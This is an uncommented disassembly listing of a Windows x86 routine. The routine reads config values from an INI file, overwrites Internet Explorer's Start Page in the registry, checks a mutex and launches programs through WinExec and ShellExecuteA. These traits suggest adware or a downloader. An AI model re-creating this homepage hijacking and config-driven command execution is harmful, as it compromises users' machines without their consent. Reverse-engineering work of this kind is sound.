add esp, 0xc
mov ecx, dword [ebp - 0x27d8]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
mov edx, dword [ebp - 0x27d8]
push edx
mov eax, dword [ebp - 0x1744]
push eax
call fcn.004116d0
add esp, 0xc
mov ecx, dword [ebp - 0x27d8]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
and eax, reloc.OLEAUT32.dll_VariantInit
jns 0x407d4b
dec eax
or eax, 0xfffffff8
inc eax
test eax, eax
jne 0x407d64
mov edx, dword [ebp - 0x27d8]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov dword [ebp - 0x2e90], eax
jmp 0x407d99
mov eax, dword [ebp - 0x27d8]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
and eax, reloc.OLEAUT32.dll_VariantInit
jns 0x407d7d
dec eax
or eax, 0xfffffff8
inc eax
mov esi, 8
sub esi, eax
mov ecx, dword [ebp - 0x27d8]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
add eax, esi
mov dword [ebp - 0x2e90], eax
mov edx, dword [ebp - 0x2e90]
mov dword [ebp - 0x1db4], edx
mov eax, dword [ebp - 0x1db4]
push eax
mov ecx, dword [ebp - 0x1744]
push ecx
lea ecx, [ebp - 0x1298]
call fcn.00403c03
mov edx, dword [ebp - 0x1db4]
push edx
mov eax, dword [ebp - 0x1744]
push eax
lea ecx, [ebp - 0x1fb4]
push ecx
call fcn.00408b70
add esp, 0xc
lea edx, [ebp - 0x1fb4]
push edx
push 0x440430
lea eax, [ebp - 0x16d4]
push eax
call fcn.00423bd6
add esp, 0xc
lea ecx, [ebp - 0x16a8]
call fcn.00405700
mov byte [ebp - 4], 0x63
lea ecx, [ebp - 0x12a4]
call fcn.00405760
push eax
push 0x64
lea ecx, [ebp - 0x1740]
push ecx
push 0x440434
lea ecx, [ebp - 0x22d4]
call fcn.00405760
push eax
push str.Orader
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
mov dword [ebp - 0x129c], 0
lea ecx, [ebp - 0x1fbc]
call fcn.00405760
push eax
call fcn.004116bf
add esp, 4
mov dword [ebp - 0x250], eax
push 0x2c
mov edx, dword [ebp - 0x129c]
push edx
lea eax, [ebp - 0x1740]
push eax
lea ecx, [ebp - 0x16a8]
push ecx
call fcn.00429019
test eax, eax
je 0x4089a1
lea edx, [ebp - 0x16a8]
push edx
push 0x440454
lea eax, [ebp - 0x2ce4]
push eax
call fcn.00425f0c
mov dword [ebp - 0x2e94], eax
mov ecx, dword [ebp - 0x2e94]
mov dword [ebp - 0x2e98], ecx
mov byte [ebp - 4], 0x64
lea ecx, [ebp - 0x12a4]
call fcn.00405760
push eax
push 0x100
lea edx, [ebp - 0x20bc]
push edx
push 0x440444
push str.name
mov ecx, dword [ebp - 0x2e98]
call fcn.00405760
push eax
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
mov byte [ebp - 4], 0x63
lea ecx, [ebp - 0x2ce4]
call fcn.00425c03
lea eax, [ebp - 0x16a8]
push eax
push 0x44046c
lea ecx, [ebp - 0x2ce8]
push ecx
call fcn.00425f0c
mov dword [ebp - 0x2e9c], eax
mov edx, dword [ebp - 0x2e9c]
mov dword [ebp - 0x2ea0], edx
mov byte [ebp - 4], 0x65
lea ecx, [ebp - 0x12a4]
call fcn.00405760
push eax
push 0x400
lea eax, [ebp - 0x27d4]
push eax
push 0x44045c
push str.check
mov ecx, dword [ebp - 0x2ea0]
call fcn.00405760
push eax
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
mov byte [ebp - 4], 0x63
lea ecx, [ebp - 0x2ce8]
call fcn.00425c03
lea ecx, [ebp - 0x16a8]
push ecx
push 0x440480
lea edx, [ebp - 0x2cec]
push edx
call fcn.00425f0c
mov dword [ebp - 0x2ea4], eax
mov eax, dword [ebp - 0x2ea4]
mov dword [ebp - 0x2ea8], eax
mov byte [ebp - 4], 0x66
lea ecx, [ebp - 0x12a4]
call fcn.00405760
push eax
push 0x400
lea ecx, [ebp - 0x16a4]
push ecx
push 0x440474
push 0x44047c
mov ecx, dword [ebp - 0x2ea8]
call fcn.00405760
push eax
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
mov byte [ebp - 4], 0x63
lea ecx, [ebp - 0x2cec]
call fcn.00425c03
lea edx, [ebp - 0x16a8]
push edx
push 0x440494
lea eax, [ebp - 0x2cf0]
push eax
call fcn.00425f0c
mov dword [ebp - 0x2eac], eax
mov ecx, dword [ebp - 0x2eac]
mov dword [ebp - 0x2eb0], ecx
mov byte [ebp - 4], 0x67
lea ecx, [ebp - 0x12a4]
call fcn.00405760
push eax
push 0x100
lea edx, [ebp - 0x23d4]
push edx
push 0x440488
push 0x440490
mov ecx, dword [ebp - 0x2eb0]
call fcn.00405760
push eax
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
mov byte [ebp - 4], 0x63
lea ecx, [ebp - 0x2cf0]
call fcn.00425c03
lea eax, [ebp - 0x16a8]
push eax
push 0x4404a8
lea ecx, [ebp - 0x2cf4]
push ecx
call fcn.00425f0c
mov dword [ebp - 0x2eb4], eax
mov edx, dword [ebp - 0x2eb4]
mov dword [ebp - 0x2eb8], edx
mov byte [ebp - 4], 0x68
lea ecx, [ebp - 0x12a4]
call fcn.00405760
push eax
push 0xa
lea eax, [ebp - 0x1978]
push eax
push 0x44049c
push 0x4404a4
mov ecx, dword [ebp - 0x2eb8]
call fcn.00405760
push eax
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
mov byte [ebp - 4], 0x63
lea ecx, [ebp - 0x2cf4]
call fcn.00425c03
lea ecx, [ebp - 0x16a8]
push ecx
push str.Soft
lea edx, [ebp - 0x2cf8]
push edx
call fcn.00425f0c
mov dword [ebp - 0x2ebc], eax
mov eax, dword [ebp - 0x2ebc]
mov dword [ebp - 0x2ec0], eax
mov byte [ebp - 4], 0x69
lea ecx, [ebp - 0x12a4]
call fcn.00405760
push eax
push 0xa
lea ecx, [ebp - 0x16c4]
push ecx
push str.Error
push 0x4404b8
mov ecx, dword [ebp - 0x2ec0]
call fcn.00405760
push eax
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
mov byte [ebp - 4], 0x63
lea ecx, [ebp - 0x2cf8]
call fcn.00425c03
lea edx, [ebp - 0x23d4]
push edx
lea ecx, [ebp - 0x27ec]
call fcn.00425c71
mov byte [ebp - 4], 0x6a
push 0x4404c4
lea eax, [ebp - 0x27ec]
push eax
call fcn.00409220
and eax, 0xff
test eax, eax
je 0x408153
jmp 0x40897e
push 0x4404c8
lea ecx, [ebp - 0x27ec]
push ecx
call fcn.00409220
and eax, 0xff
test eax, eax
je 0x408420
mov dword [ebp - 0x27f0], str.SoftwareMicrosoftInternet_ExplorerMain
lea edx, [ebp - 0x27f4]
push edx
push 0xf003f
push 0
mov eax, dword [ebp - 0x27f0]
push eax
push reloc.WSOCK32.dll_accept
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x40840e
lea ecx, [ebp - 0x16a4]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
add eax, 1
push eax
lea edx, [ebp - 0x16a4]
push edx
push 1
push 0
push str.Start_Page
mov eax, dword [ebp - 0x27f4]
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
jne 0x40840e
lea ecx, [ebp - 0x27fc]
call fcn.00405700
mov byte [ebp - 4], 0x6b
mov dword [ebp - 0x27f8], 0
mov dword [ebp - 0x2a04], 0x440504
mov ecx, dword [ebp - 0x2a04]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
add eax, 8
push eax
push 0x40
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov dword [ebp - 0x27f8], eax
mov edx, dword [ebp - 0x2a04]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
add eax, 8
push eax
push 0
mov eax, dword [ebp - 0x27f8]
push eax
call fcn.00411470
add esp, 0xc
mov ecx, dword [ebp - 0x2a04]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
mov edx, dword [ebp - 0x2a04]
push edx
mov eax, dword [ebp - 0x27f8]
push eax
call fcn.004116d0
add esp, 0xc
mov ecx, dword [ebp - 0x2a04]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
and eax, reloc.OLEAUT32.dll_VariantInit
jns 0x40827a
dec eax
or eax, 0xfffffff8
inc eax
test eax, eax
jne 0x408293
mov edx, dword [ebp - 0x2a04]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov dword [ebp - 0x2ec4], eax
jmp 0x4082c8
mov eax, dword [ebp - 0x2a04]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
and eax, reloc.OLEAUT32.dll_VariantInit
jns 0x4082ac
dec eax
or eax, 0xfffffff8
inc eax
mov esi, 8
sub esi, eax
mov ecx, dword [ebp - 0x2a04]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
add eax, esi
mov dword [ebp - 0x2ec4], eax
mov edx, dword [ebp - 0x2ec4]
mov dword [ebp - 0x2a00], edx
mov eax, dword [ebp - 0x2a00]
push eax
mov ecx, dword [ebp - 0x27f8]
push ecx
lea ecx, [ebp - 0x1298]
call fcn.00403c03
mov edx, dword [ebp - 0x2a00]
push edx
mov eax, dword [ebp - 0x27f8]
push eax
lea ecx, [ebp - 0x29fc]
push ecx
call fcn.00408b70
add esp, 0xc
lea edx, [ebp - 0x29fc]
push edx
push 0x44050c
lea eax, [ebp - 0x27fc]
push eax
call fcn.00423bd6
add esp, 0xc
lea ecx, [ebp - 0x27fc]
push ecx
push 0x440518
lea edx, [ebp - 0x2d00]
push edx
call fcn.00425f0c
mov dword [ebp - 0x2ec8], eax
mov eax, dword [ebp - 0x2ec8]
mov dword [ebp - 0x2ecc], eax
mov byte [ebp - 4], 0x6c
push 0x440510
mov ecx, dword [ebp - 0x2ecc]
push ecx
lea edx, [ebp - 0x2d04]
push edx
call fcn.00425e98
mov dword [ebp - 0x2ed0], eax
mov eax, dword [ebp - 0x2ed0]
mov dword [ebp - 0x2ed4], eax
mov byte [ebp - 4], 0x6d
push ecx
mov ecx, esp
mov dword [ebp - 0x2cfc], esp
lea edx, [ebp - 0x16d4]
push edx
mov eax, dword [ebp - 0x2ed4]
push eax
push ecx
call fcn.00425e32
mov dword [ebp - 0x2ed8], eax
mov ecx, dword [ebp - 0x2ed8]
mov dword [ebp - 0x2edc], ecx
mov byte [ebp - 4], 0x6e
push ecx
mov edx, esp
mov dword [ebp - 0x2d08], esp
push 0x440520
lea eax, [ebp - 0x1db0]
push eax
push edx
call fcn.00425e98
mov dword [ebp - 0x2ee0], eax
mov byte [ebp - 4], 0x6d
call fcn.00406313
add esp, 8
mov byte [ebp - 4], 0x6c
lea ecx, [ebp - 0x2d04]
call fcn.00425c03
mov byte [ebp - 4], 0x6b
lea ecx, [ebp - 0x2d00]
call fcn.00425c03
mov byte [ebp - 4], 0x6a
lea ecx, [ebp - 0x27fc]
call fcn.00425c03
mov ecx, dword [ebp - 0x27f4]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
jmp 0x40897e
push 0x440528
lea edx, [ebp - 0x27ec]
push edx
call fcn.00409220
and eax, 0xff
test eax, eax
je 0x408459
push 5
push 0
push 0
lea eax, [ebp - 0x16a4]
push eax
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
jmp 0x40897e
cmp dword [ebp - 0x250], 0
jle 0x40897e
lea ecx, [ebp - 0x2a10]
call fcn.00405700
mov byte [ebp - 4], 0x6f
lea ecx, [ebp - 0x2a0c]
call fcn.00405700
mov byte [ebp - 4], 0x70
push 0x7c
push 0
lea ecx, [ebp - 0x27d4]
push ecx
lea edx, [ebp - 0x2a10]
push edx
call fcn.00429019
push 0x7c
push 1
lea eax, [ebp - 0x27d4]
push eax
lea ecx, [ebp - 0x2a0c]
push ecx
call fcn.00429019
push 0x440534
lea ecx, [ebp - 0x2a10]
call fcn.00405760
push eax
call fcn.004115b0
add esp, 8
test eax, eax
jne 0x4084de
mov dword [ebp - 0x2a14], OleUIBusyA
jmp 0x408580
push str.HKLM
lea ecx, [ebp - 0x2a10]
call fcn.00405760
push eax
call fcn.004115b0
add esp, 8
test eax, eax
jne 0x408507
mov dword [ebp - 0x2a14], reloc.OLEAUT32.dll_SysReAllocString
jmp 0x408580
push str.HKCU
lea ecx, [ebp - 0x2a10]
call fcn.00405760
push eax
call fcn.004115b0
add esp, 8
test eax, eax
jne 0x408530
mov dword [ebp - 0x2a14], reloc.WSOCK32.dll_accept
jmp 0x408580
push 0x44054c
lea ecx, [ebp - 0x2a10]
call fcn.00405760
push eax
call fcn.004115b0
add esp, 8
test eax, eax
jne 0x408559
mov dword [ebp - 0x2a14], OleUIBusyA
jmp 0x408580
push str.HKCR
lea ecx, [ebp - 0x2a10]
call fcn.00405760
push eax
call fcn.004115b0
add esp, 8
test eax, eax
jne 0x408580
mov dword [ebp - 0x2a14], OleUIBusyA
lea edx, [ebp - 0x2a08]
push edx
push 0xf003f
push 0
lea ecx, [ebp - 0x2a0c]
call fcn.00405760
push eax
mov eax, dword [ebp - 0x2a14]
push eax
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x4085ba
movsx ecx, byte [ebp - 0x27d4]
test ecx, ecx
jne 0x408953
lea edx, [ebp - 0x20bc]
push edx
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
mov dword [ebp - 0x2a18], eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
je 0x408953
push 5
push ecx
mov ecx, esp
mov dword [ebp - 0x2d10], esp
lea eax, [ebp - 0x16c4]
push eax
call fcn.00425c71
mov dword [ebp - 0x2ee4], eax
mov ecx, dword [ebp - 0x2ee4]
mov dword [ebp - 0x2ee8], ecx
mov byte [ebp - 4], 0x71
push ecx
mov ecx, esp
mov dword [ebp - 0x2d14], esp
lea edx, [ebp - 0x1978]
push edx
call fcn.00425c71
mov dword [ebp - 0x2eec], eax
mov eax, dword [ebp - 0x2eec]
mov dword [ebp - 0x2ef0], eax
mov byte [ebp - 4], 0x72
push ecx
mov ecx, esp
mov dword [ebp - 0x2d18], esp
lea edx, [ebp - 0x23d4]
push edx
call fcn.00425c71
mov dword [ebp - 0x2ef4], eax
mov eax, dword [ebp - 0x2ef4]
mov dword [ebp - 0x2ef8], eax
mov byte [ebp - 4], 0x73
push ecx
mov ecx, esp
mov dword [ebp - 0x2d1c], esp
lea edx, [ebp - 0x16a4]
push edx
call fcn.00425c71
mov dword [ebp - 0x2efc], eax
mov byte [ebp - 4], 0x70
lea eax, [ebp - 0x2d20]
push eax
call fcn.00406165
add esp, 0x14
mov dword [ebp - 0x2f00], eax
mov ecx, dword [ebp - 0x2f00]
mov dword [ebp - 0x2f04], ecx
mov byte [ebp - 4], 0x74
mov ecx, dword [ebp - 0x2f04]
call fcn.00405760
push eax
call dword [sym.imp.KERNEL32.dll_WinExec]
mov edx, 0x1f
cmp edx, eax
sbb eax, eax
neg eax
mov byte [ebp - 0x2d0c], al
mov byte [ebp - 4], 0x70
lea ecx, [ebp - 0x2d20]
call fcn.00425c03
mov ecx, dword [ebp - 0x2d0c]
and ecx, 0xff
test ecx, ecx
je 0x408953
mov edx, dword [ebp - 0x250]
sub edx, 1
mov dword [ebp - 0x250], edx
lea ecx, [ebp - 0x2c24]
call fcn.00405700
mov byte [ebp - 4], 0x75
mov dword [ebp - 0x2a20], 0
lea eax, [ebp - 0x23d4]
push eax
push 0x440558
lea ecx, [ebp - 0x20bc]
push ecx
call fcn.00411390
add esp, 8
push eax
call fcn.00411390
add esp, 8
mov dword [ebp - 0x2c28], eax
mov edx, dword [ebp - 0x2c28]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
add eax, 8
push eax
push 0x40
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov dword [ebp - 0x2a20], eax
mov eax, dword [ebp - 0x2c28]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
add eax, 8
push eax
push 0
mov ecx, dword [ebp - 0x2a20]
push ecx
call fcn.00411470
add esp, 0xc
mov edx, dword [ebp - 0x2c28]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
mov eax, dword [ebp - 0x2c28]
push eax
mov ecx, dword [ebp - 0x2a20]
push ecx
call fcn.004116d0
add esp, 0xc
mov edx, dword [ebp - 0x2c28]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
and eax, reloc.OLEAUT32.dll_VariantInit
jns 0x4087bf
dec eax
or eax, 0xfffffff8
inc eax
test eax, eax
jne 0x4087d8
mov eax, dword [ebp - 0x2c28]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov dword [ebp - 0x2f08], eax
jmp 0x40880d
mov ecx, dword [ebp - 0x2c28]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
and eax, reloc.OLEAUT32.dll_VariantInit
jns 0x4087f1
dec eax
or eax, 0xfffffff8
inc eax
mov esi, 8
sub esi, eax
mov edx, dword [ebp - 0x2c28]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
add eax, esi
mov dword [ebp - 0x2f08], eax
mov eax, dword [ebp - 0x2f08]
mov dword [ebp - 0x2a1c], eax
mov ecx, dword [ebp - 0x2a1c]
push ecx
mov edx, dword [ebp - 0x2a20]
push edx
lea ecx, [ebp - 0x1298]
call fcn.00403c03
mov eax, dword [ebp - 0x2a1c]
push eax
mov ecx, dword [ebp - 0x2a20]
push ecx
lea edx, [ebp - 0x2c20]
push edx
call fcn.00408b70
add esp, 0xc
lea eax, [ebp - 0x2c20]
push eax
push 0x44055c
lea ecx, [ebp - 0x2c24]
push ecx
call fcn.00423bd6
add esp, 0xc
lea edx, [ebp - 0x2c24]
push edx
push str.soft
lea eax, [ebp - 0x2d28]
push eax
call fcn.00425f0c
mov dword [ebp - 0x2f0c], eax
mov ecx, dword [ebp - 0x2f0c]
mov dword [ebp - 0x2f10], ecx
mov byte [ebp - 4], 0x76
push str.uuid
mov edx, dword [ebp - 0x2f10]
push edx
lea eax, [ebp - 0x2d2c]
push eax
call fcn.00425e98
mov dword [ebp - 0x2f14], eax
mov ecx, dword [ebp - 0x2f14]
mov dword [ebp - 0x2f18], ecx
mov byte [ebp - 4], 0x77
push ecx
mov edx, esp
mov dword [ebp - 0x2d24], esp
lea eax, [ebp - 0x16d4]
push eax
mov ecx, dword [ebp - 0x2f18]
push ecx
push edx
call fcn.00425e32
mov dword [ebp - 0x2f1c], eax
mov edx, dword [ebp - 0x2f1c]
mov dword [ebp - 0x2f20], edx
mov byte [ebp - 4], 0x78
push ecx
mov eax, esp
mov dword [ebp - 0x2d30], esp
push str._soft_
lea ecx, [ebp - 0x1db0]
push ecx
push eax
call fcn.00425e98
mov dword [ebp - 0x2f24], eax
mov byte [ebp - 4], 0x77
call fcn.00406313
add esp, 8
mov byte [ebp - 4], 0x76
lea ecx, [ebp - 0x2d2c]
call fcn.00425c03
mov byte [ebp - 4], 0x75
lea ecx, [ebp - 0x2d28]
call fcn.00425c03
mov byte [ebp - 4], 0x70
lea ecx, [ebp - 0x2c24]
call fcn.00425c03
mov edx, dword [ebp - 0x2a08]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov byte [ebp - 4], 0x6f
lea ecx, [ebp - 0x2a0c]
call fcn.00425c03
mov byte [ebp - 4], 0x6a
lea ecx, [ebp - 0x2a10]
call fcn.00425c03
mov eax, dword [ebp - 0x129c]
add eax, 1
mov dword [ebp - 0x129c], eax
mov byte [ebp - 4], 0x63
lea ecx, [ebp - 0x27ec]
call fcn.00425c03
jmp 0x407e5a
push 0
call dword [sym.imp.USER32.dll_PostQuitMessage]
mov byte [ebp - 4], 0x62
lea ecx, [ebp - 0x16a8]
call fcn.00425c03
mov byte [ebp - 4], 0x5e
lea ecx, [ebp - 0x16d4]
call fcn.00425c03
mov byte [ebp - 4], 0x5d
lea ecx, [ebp - 0x1298]
call fcn.00401281
mov byte [ebp - 4], 0x5c
lea ecx, [ebp - 0x16d8]
call fcn.00425c03
mov byte [ebp - 4], 0x46
lea ecx, [ebp - 0x16c8]
call fcn.00425c03
mov byte [ebp - 4], 0x2e
lea ecx, [ebp - 0x12a0]
call fcn.00425c03
mov byte [ebp - 4], 0x27
lea ecx, [ebp - 0x195c]
call fcn.00425c03
mov byte [ebp - 4], 0x1e
lea ecx, [ebp - 0x1960]
call fcn.00425c03
mov byte [ebp - 4], 0x1c
lea ecx, [ebp - 0x1da8]
call fcn.00425c03
mov byte [ebp - 4], 0x1a
lea ecx, [ebp - 0x27e0]
call fcn.00425c03
mov byte [ebp - 4], 0x19
lea ecx, [ebp - 0x174c]
call fcn.00425c03
mov byte [ebp - 4], 0x18
lea ecx, [ebp - 0x16cc]
call fcn.00425c03
mov byte [ebp - 4], 0x16
lea ecx, [ebp - 0x20c0]
call fcn.00425c03
mov byte [ebp - 4], 0x15
lea ecx, [ebp - 0x16d0]
call fcn.00425c03
mov byte [ebp - 4], 0x14
lea ecx, [ebp - 0x1964]
call fcn.00425c03
mov byte [ebp - 4], 0x13
lea ecx, [ebp - 0x1750]
call fcn.00425c03
mov byte [ebp - 4], 0x10
lea ecx, [ebp - 0x1968]
call fcn.00425c03
mov byte [ebp - 4], 0xf
push fcn.00425c03
push 0xa
push 4
lea ecx, [ebp - 0x248]
push ecx
call fcn.004114c8
mov byte [ebp - 4], 0xe
lea ecx, [ebp - 0x24c]
call fcn.00425c03
mov byte [ebp - 4], 0xd
lea ecx, [ebp - 0x196c]
call fcn.00425c03
mov byte [ebp - 4], 0xc
lea ecx, [ebp - 0x22d4]
call fcn.00425c03
mov byte [ebp - 4], 0xb
lea ecx, [ebp - 0x16b8]
call fcn.00425c03
mov byte [ebp - 4], 0xa
lea ecx, [ebp - 0x16dc]
call fcn.00425c03
mov byte [ebp - 4], 9
lea ecx, [ebp - 0x1dac]
call fcn.00425c03
mov byte [ebp - 4], 8
lea ecx, [ebp - 0x1fbc]
call fcn.00425c03
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x1db0]
call fcn.00425c03
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x12a4]
call fcn.00425c03
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp + 8]
call fcn.00425c03
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret